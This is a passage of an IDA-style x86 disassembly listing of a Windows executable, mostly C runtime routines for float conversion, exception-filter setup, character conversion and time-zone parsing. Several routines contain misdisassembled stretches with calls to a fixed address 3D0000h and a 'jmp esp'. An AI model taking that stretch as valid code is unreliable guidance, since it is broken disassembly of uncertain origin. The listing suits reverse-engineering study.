sub_41D841 endp
; =============== S U B R O U T I N E =======================================
sub_41D8D3 proc near ; CODE XREF: sub_41D7F6+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_41D8E3
push 1
pop eax
loc_41D8E3: ; CODE XREF: sub_41D8D3+Bj
test bl, 8
jz short loc_41D8EA
or al, 4
loc_41D8EA: ; CODE XREF: sub_41D8D3+13j
test bl, 4
jz short loc_41D8F1
or al, 8
loc_41D8F1: ; CODE XREF: sub_41D8D3+1Aj
test bl, 2
jz short loc_41D8F8
or al, 10h
loc_41D8F8: ; CODE XREF: sub_41D8D3+21j
test bl, 1
jz short loc_41D8FF
or al, 20h
loc_41D8FF: ; CODE XREF: sub_41D8D3+28j
test ebx, 80000h
jz short loc_41D909
or al, 2
loc_41D909: ; CODE XREF: sub_41D8D3+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_41D936
cmp ecx, 100h
jz short loc_41D933
cmp ecx, esi
jz short loc_41D92E
cmp ecx, edx
jnz short loc_41D936
or ah, 0Ch
jmp short loc_41D936
; ---------------------------------------------------------------------------
loc_41D92E: ; CODE XREF: sub_41D8D3+50j
or ah, 8
jmp short loc_41D936
; ---------------------------------------------------------------------------
loc_41D933: ; CODE XREF: sub_41D8D3+4Cj
or ah, 4
loc_41D936: ; CODE XREF: sub_41D8D3+44j
; sub_41D8D3+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_41D94C
cmp ecx, 10000h
jnz short loc_41D94E
or eax, esi
jmp short loc_41D94E
; ---------------------------------------------------------------------------
loc_41D94C: ; CODE XREF: sub_41D8D3+6Bj
or eax, edx
loc_41D94E: ; CODE XREF: sub_41D8D3+73j
; sub_41D8D3+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_41D95B
or ah, 10h
locret_41D95B: ; CODE XREF: sub_41D8D3+83j
retn
sub_41D8D3 endp
; =============== S U B R O U T I N E =======================================
sub_41D95C proc near ; CODE XREF: sub_41D9FB+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_41D9A1
inc esi
cmp esi, 3
jge short loc_41D99C
lea eax, [eax+esi*4]
loc_41D98E: ; CODE XREF: sub_41D95C+3Ej
cmp dword ptr [eax], 0
jnz short loc_41D9A1
inc esi
add eax, 4
cmp esi, 3
jl short loc_41D98E
loc_41D99C: ; CODE XREF: sub_41D95C+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D9A1: ; CODE XREF: sub_41D95C+27j
; sub_41D95C+35j
xor eax, eax
pop esi
retn
sub_41D95C endp
; =============== S U B R O U T I N E =======================================
sub_41D9A5 proc near ; CODE XREF: sub_41D9FB+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41E972
add esp, 0Ch
dec esi
js short loc_41D9F7
lea edi, [ebx+esi*4]
loc_41D9DE: ; CODE XREF: sub_41D9A5+50j
test eax, eax
jz short loc_41D9F7
push edi
push 1
push dword ptr [edi]
call sub_41E972
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41D9DE
loc_41D9F7: ; CODE XREF: sub_41D9A5+34j
; sub_41D9A5+3Bj
pop edi
pop esi
pop ebx
retn
sub_41D9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D9FB proc near ; CODE XREF: sub_41DB56+81p
; sub_41DB56+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41DA5F
inc ebx
push ebx
push [ebp+arg_0]
call sub_41D95C
pop ecx
test eax, eax
pop ecx
jnz short loc_41DA5C
push edi
push [ebp+arg_0]
call sub_41D9A5
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41DA5C: ; CODE XREF: sub_41D9FB+51j
mov eax, [ebp+arg_4]
loc_41DA5F: ; CODE XREF: sub_41D9FB+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41DA7F
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41DA7F: ; CODE XREF: sub_41D9FB+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41D9FB endp
; =============== S U B R O U T I N E =======================================
sub_41DA87 proc near ; CODE XREF: sub_41DB56+75p
; sub_41DB56+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41DA95: ; CODE XREF: sub_41DA87+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41DA95
pop esi
retn
sub_41DA87 endp
; =============== S U B R O U T I N E =======================================
sub_41DAA2 proc near ; CODE XREF: sub_41DB56+5Fp
; sub_41DB56+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41DAA2 endp
; =============== S U B R O U T I N E =======================================
sub_41DAAE proc near ; CODE XREF: sub_41DB56+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41DAB4: ; CODE XREF: sub_41DAAE+12j
cmp dword ptr [eax], 0
jnz short loc_41DAC6
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41DAB4
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41DAC6: ; CODE XREF: sub_41DAAE+9j
xor eax, eax
retn
sub_41DAAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DAC9 proc near ; CODE XREF: sub_41DB56+C0p
; sub_41DB56+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41DAFF: ; CODE XREF: sub_41DAC9+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41DAFF
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41DB31: ; CODE XREF: sub_41DAC9+86j
cmp ebx, edi
jl short loc_41DB44
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41DB4B
; ---------------------------------------------------------------------------
loc_41DB44: ; CODE XREF: sub_41DAC9+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41DB4B: ; CODE XREF: sub_41DAC9+79j
dec ebx
sub ecx, 4
jns short loc_41DB31
pop edi
pop esi
pop ebx
leave
retn
sub_41DAC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DB56 proc near ; CODE XREF: sub_41DCC2+Dp
; sub_41DCD8+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41DBC3
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41DAAE
test eax, eax
pop ecx
jnz loc_41DC82
lea eax, [ebp+var_C]
push eax
call sub_41DAA2
pop ecx
loc_41DBBB: ; CODE XREF: sub_41DB56+E4j
push 2
loc_41DBBD: ; CODE XREF: sub_41DB56+110j
pop eax
jmp loc_41DC84
; ---------------------------------------------------------------------------
loc_41DBC3: ; CODE XREF: sub_41DB56+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41DA87
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41D9FB
add esp, 10h
test eax, eax
jz short loc_41DBE4
inc ebx
loc_41DBE4: ; CODE XREF: sub_41DB56+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41DBFC
lea eax, [ebp+var_C]
push eax
call sub_41DAA2
pop ecx
jmp short loc_41DC38
; ---------------------------------------------------------------------------
loc_41DBFC: ; CODE XREF: sub_41DB56+98j
cmp ebx, eax
jg short loc_41DC3F
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DA87
lea eax, [ebp+var_C]
push esi
push eax
call sub_41DAC9
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41D9FB
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DAC9
add esp, 20h
loc_41DC38: ; CODE XREF: sub_41DB56+A4j
xor esi, esi
jmp loc_41DBBB
; ---------------------------------------------------------------------------
loc_41DC3F: ; CODE XREF: sub_41DB56+A8j
cmp ebx, [edi]
jl short loc_41DC6B
lea eax, [ebp+var_C]
push eax
call sub_41DAA2
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41DAC9
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41DBBD
; ---------------------------------------------------------------------------
loc_41DC6B: ; CODE XREF: sub_41DB56+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41DAC9
pop ecx
pop ecx
loc_41DC82: ; CODE XREF: sub_41DB56+55j
xor eax, eax
loc_41DC84: ; CODE XREF: sub_41DB56+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41DCB3
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41DCBD
; ---------------------------------------------------------------------------
loc_41DCB3: ; CODE XREF: sub_41DB56+14Ej
cmp edi, 20h
jnz short loc_41DCBD
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41DCBD: ; CODE XREF: sub_41DB56+15Bj
; sub_41DB56+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41DB56 endp
; =============== S U B R O U T I N E =======================================
sub_41DCC2 proc near ; CODE XREF: sub_41DCEE+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_4386D0
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41DB56
add esp, 0Ch
retn
sub_41DCC2 endp
; =============== S U B R O U T I N E =======================================
sub_41DCD8 proc near ; CODE XREF: sub_41DD1B+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_4386E8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41DB56
add esp, 0Ch
retn
sub_41DCD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DCEE proc near ; CODE XREF: sub_419FB8+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EB13
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41DCC2
add esp, 24h
leave
retn
sub_41DCEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD1B proc near ; CODE XREF: sub_419FB8+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41EB13
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41DCD8
add esp, 24h
leave
retn
sub_41DD1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DD48 proc near ; CODE XREF: sub_419FF6+65p
; sub_41A0FA+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41DD85
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41DD6B: ; CODE XREF: sub_41DD48+38j
mov dl, [ecx]
test dl, dl
jz short loc_41DD77
movsx edx, dl
inc ecx
jmp short loc_41DD7A
; ---------------------------------------------------------------------------
loc_41DD77: ; CODE XREF: sub_41DD48+27j
push 30h
pop edx
loc_41DD7A: ; CODE XREF: sub_41DD48+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41DD6B
mov edx, [ebp+arg_8]
loc_41DD85: ; CODE XREF: sub_41DD48+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41DD9E
cmp byte ptr [ecx], 35h
jl short loc_41DD9E
loc_41DD91: ; CODE XREF: sub_41DD48+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41DD9C
mov byte ptr [eax], 30h
jmp short loc_41DD91
; ---------------------------------------------------------------------------
loc_41DD9C: ; CODE XREF: sub_41DD48+4Dj
inc byte ptr [eax]
loc_41DD9E: ; CODE XREF: sub_41DD48+42j
; sub_41DD48+47j
cmp byte ptr [esi], 31h
jnz short loc_41DDA8
inc dword ptr [edx+4]
jmp short loc_41DDBA
; ---------------------------------------------------------------------------
loc_41DDA8: ; CODE XREF: sub_41DD48+59j
push edi
call sub_415CD0
inc eax
push eax
push edi
push esi
call sub_416470
add esp, 10h
loc_41DDBA: ; CODE XREF: sub_41DD48+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41DD48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DDBF proc near ; CODE XREF: sub_419FF6+3Fp
; sub_41A0FA+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41DE23
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_469640
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41EFE4
mov ds:dword_469668, eax
add esp, 18h
movsx eax, ds:byte_469642
mov ds:dword_469660, eax
pop edi
movsx eax, ds:word_469640
mov ds:dword_469664, eax
mov ds:dword_46966C, offset dword_469644
mov eax, offset dword_469660
pop esi
leave
retn
sub_41DDBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DE23 proc near ; CODE XREF: sub_41DDBF+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41DE71
cmp ebx, edi
jz short loc_41DE6A
lea edi, [ecx+3C00h]
jmp short loc_41DE92
; ---------------------------------------------------------------------------
loc_41DE6A: ; CODE XREF: sub_41DE23+3Dj
mov edi, 7FFFh
jmp short loc_41DE92
; ---------------------------------------------------------------------------
loc_41DE71: ; CODE XREF: sub_41DE23+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41DE89
cmp edx, ebx
jnz short loc_41DE89
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41DED4
; ---------------------------------------------------------------------------
loc_41DE89: ; CODE XREF: sub_41DE23+52j
; sub_41DE23+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41DE92: ; CODE XREF: sub_41DE23+45j
; sub_41DE23+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41DEAA: ; CODE XREF: sub_41DE23+A6j
test ecx, esi
jnz short loc_41DECB
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41DEAA
; ---------------------------------------------------------------------------
loc_41DECB: ; CODE XREF: sub_41DE23+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41DED4: ; CODE XREF: sub_41DE23+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41DE23 endp
; ---------------------------------------------------------------------------
push 2
call sub_417BCE
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41DEE2 proc near ; DATA XREF: sub_41DF28o
; seg002:004380A0o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41DF05
cmp dword ptr [eax+10h], 3
jnz short loc_41DF05
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41DF05
jmp sub_41AB7C
; ---------------------------------------------------------------------------
loc_41DF05: ; CODE XREF: sub_41DEE2+Dj
; sub_41DEE2+13j ...
mov eax, ds:dword_469670
test eax, eax
jz short loc_41DF22
push eax
call sub_41DF7E
test eax, eax
pop ecx
jz short loc_41DF22
push esi
call ds:dword_469670
jmp short loc_41DF24
; ---------------------------------------------------------------------------
loc_41DF22: ; CODE XREF: sub_41DEE2+2Aj
; sub_41DEE2+35j
xor eax, eax
loc_41DF24: ; CODE XREF: sub_41DEE2+3Ej
pop esi
retn 4
sub_41DEE2 endp
; =============== S U B R O U T I N E =======================================
sub_41DF28 proc near ; DATA XREF: seg002:00423024o
push offset sub_41DEE2
call ds:dword_42101C ; SetUnhandledExceptionFilter
mov ds:dword_469670, eax
retn
sub_41DF28 endp
; =============== S U B R O U T I N E =======================================
sub_41DF39 proc near ; DATA XREF: seg002:0042303Co
push ds:dword_469670
call ds:dword_42101C ; SetUnhandledExceptionFilter
retn
sub_41DF39 endp
; =============== S U B R O U T I N E =======================================
sub_41DF46 proc near ; CODE XREF: sub_41A3CE+6Bp
; sub_41A8DF+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 3D0000h
fild word ptr [ebp+330274C0h]
loc_41DF5D: ; CODE XREF: sub_41A8DF+73p
; sub_41A8DF+BFp ...
test byte ptr [ebx+56C35EC6h], 6Ah
sub_41DF46 endp ; sp-analysis failed
add [esi-1], ebx
jz short near ptr loc_41DF8B+2
or al, 0FFh
jz short near ptr loc_41DF90+1
or al, 0E8h
lea esp, [eax]
sti
jmp esp
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41DF7A
xor esi, esi
loc_41DF7A: ; CODE XREF: seg000:0041DF76j
mov eax, esi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_41DF7E proc near ; CODE XREF: sub_41A8DF+15Bp
; sub_41DEE2+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 3D0000h
loc_41DF8B: ; CODE XREF: seg000:0041DF67j
or eax, 274C085h
loc_41DF90: ; CODE XREF: seg000:0041DF6Bj
xor esi, esi
mov eax, esi
pop esi
retn
sub_41DF7E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41AB7C
loc_41DF96: ; CODE XREF: sub_41AB7C:loc_41ABCDj
push 0Ah
call sub_41CEF9
push 16h
call sub_41F277
pop ecx
pop ecx
push 3
call sub_417818
; END OF FUNCTION CHUNK FOR sub_41AB7C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DFAD proc near ; CODE XREF: sub_41AD1D+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41DFD0
cmp [ebp+arg_8], ebx
jz short loc_41DFD0
mov al, [esi]
cmp al, bl
jnz short loc_41DFD6
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41DFD0
mov [eax], bx
loc_41DFD0: ; CODE XREF: sub_41DFAD+Cj
; sub_41DFAD+11j ...
xor eax, eax
loc_41DFD2: ; CODE XREF: sub_41DFAD+42j
; sub_41DFAD+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41DFD6: ; CODE XREF: sub_41DFAD+17j
cmp ds:dword_469508, ebx
jnz short loc_41DFF1
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41DFEC
movzx ax, al
mov [ecx], ax
loc_41DFEC: ; CODE XREF: sub_41DFAD+36j
; sub_41DFAD+C0j
push 1
pop eax
jmp short loc_41DFD2
; ---------------------------------------------------------------------------
loc_41DFF1: ; CODE XREF: sub_41DFAD+2Fj
mov ecx, ds:off_437D50
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E04E
mov eax, ds:dword_437F5C
cmp eax, 1
jle short loc_41E035
cmp [ebp+arg_8], eax
jl short loc_41E03F
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push ds:dword_469518
call ds:dword_421064 ; MultiByteToWideChar
test eax, eax
mov eax, ds:dword_437F5C
jnz short loc_41DFD2
loc_41E035: ; CODE XREF: sub_41DFAD+5Cj
cmp [ebp+arg_8], eax
jb short loc_41E03F
cmp [esi+1], bl
jnz short loc_41DFD2
loc_41E03F: ; CODE XREF: sub_41DFAD+61j
; sub_41DFAD+8Bj ...
mov ds:dword_469474, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41DFD2
; ---------------------------------------------------------------------------
loc_41E04E: ; CODE XREF: sub_41DFAD+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push ds:dword_469518
call ds:dword_421064 ; MultiByteToWideChar
test eax, eax
jnz loc_41DFEC
jmp short loc_41E03F
sub_41DFAD endp
; =============== S U B R O U T I N E =======================================
sub_41E075 proc near ; CODE XREF: sub_41AD1D+76p
; sub_41AD1D+88p ...
arg_0 = dword ptr 4
cmp ds:dword_437F5C, 1
jle short loc_41E08C
push 8
push [esp+4+arg_0]
call sub_418536
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41E08C: ; CODE XREF: sub_41E075+7j
mov eax, [esp+arg_0]
mov ecx, ds:off_437D50
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41E075 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E0A0 proc near ; CODE XREF: sub_41AD1D+797p
; sub_41AD1D+7E7p
cmp cl, 40h
jnb short loc_41E0BA
cmp cl, 20h
jnb short loc_41E0B0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41E0B0: ; CODE XREF: sub_41E0A0+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41E0BA: ; CODE XREF: sub_41E0A0+3j
xor eax, eax
xor edx, edx
retn
sub_41E0A0 endp
; =============== S U B R O U T I N E =======================================
sub_41E0BF proc near ; CODE XREF: sub_41B793+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41E10B
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41E0DD
test al, 80h
jz short loc_41E10B
test al, 2
jnz short loc_41E10B
loc_41E0DD: ; CODE XREF: sub_41E0BF+14j
cmp dword ptr [esi+8], 0
jnz short loc_41E0EA
push esi
call sub_41D04C
pop ecx
loc_41E0EA: ; CODE XREF: sub_41E0BF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41E0FA
cmp dword ptr [esi+4], 0
jnz short loc_41E10B
inc eax
mov [esi], eax
loc_41E0FA: ; CODE XREF: sub_41E0BF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41E111
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41E117
inc eax
mov [esi], eax
loc_41E10B: ; CODE XREF: sub_41E0BF+9j
; sub_41E0BF+18j ...
or eax, 0FFFFFFFFh
loc_41E10E: ; CODE XREF: sub_41E0BF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E111: ; CODE XREF: sub_41E0BF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41E117: ; CODE XREF: sub_41E0BF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41E10E
sub_41E0BF endp
; =============== S U B R O U T I N E =======================================
sub_41E12D proc near ; CODE XREF: sub_41B7CE:loc_41B80Dp
cmp ds:dword_469730, 0
jnz short locret_41E141
call sub_41E142
inc ds:dword_469730
locret_41E141: ; CODE XREF: sub_41E12D+7j
retn
sub_41E12D endp
; =============== S U B R O U T I N E =======================================
sub_41E142 proc near ; CODE XREF: sub_41E12D+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov ds:dword_469678, ebp
mov ds:dword_4387A8, ebx
mov ds:dword_438798, ebx
call sub_41F3E9
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41E26B
push offset dword_469680
call near ptr 3D0000h
aam 3Bh
retn
; ---------------------------------------------------------------------------
jz loc_41E39A
mov eax, ds:dword_469680
mov ecx, ds:dword_4696D4
imul eax, 3Ch
cmp ds:word_4696C6, bp
push 1
pop edx
mov ds:dword_438700, eax
mov ds:dword_469678, edx
jz short loc_41E1B9
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov ds:dword_438700, eax
loc_41E1B9: ; CODE XREF: sub_41E142+69j
cmp ds:word_46971A, bp
jz short loc_41E1DD
mov eax, ds:dword_469728
cmp eax, ebp
jz short loc_41E1DD
sub eax, ecx
mov ds:dword_438704, edx
imul eax, 3Ch
mov ds:dword_438708, eax
jmp short loc_41E1E9
; ---------------------------------------------------------------------------
loc_41E1DD: ; CODE XREF: sub_41E142+7Ej
; sub_41E142+87j
mov ds:dword_438704, ebp
mov ds:dword_438708, ebp
loc_41E1E9: ; CODE XREF: sub_41E142+99j
lea eax, [esp+14h+var_4]
mov esi, ds:dword_421138
push eax
push ebp
push 3Fh
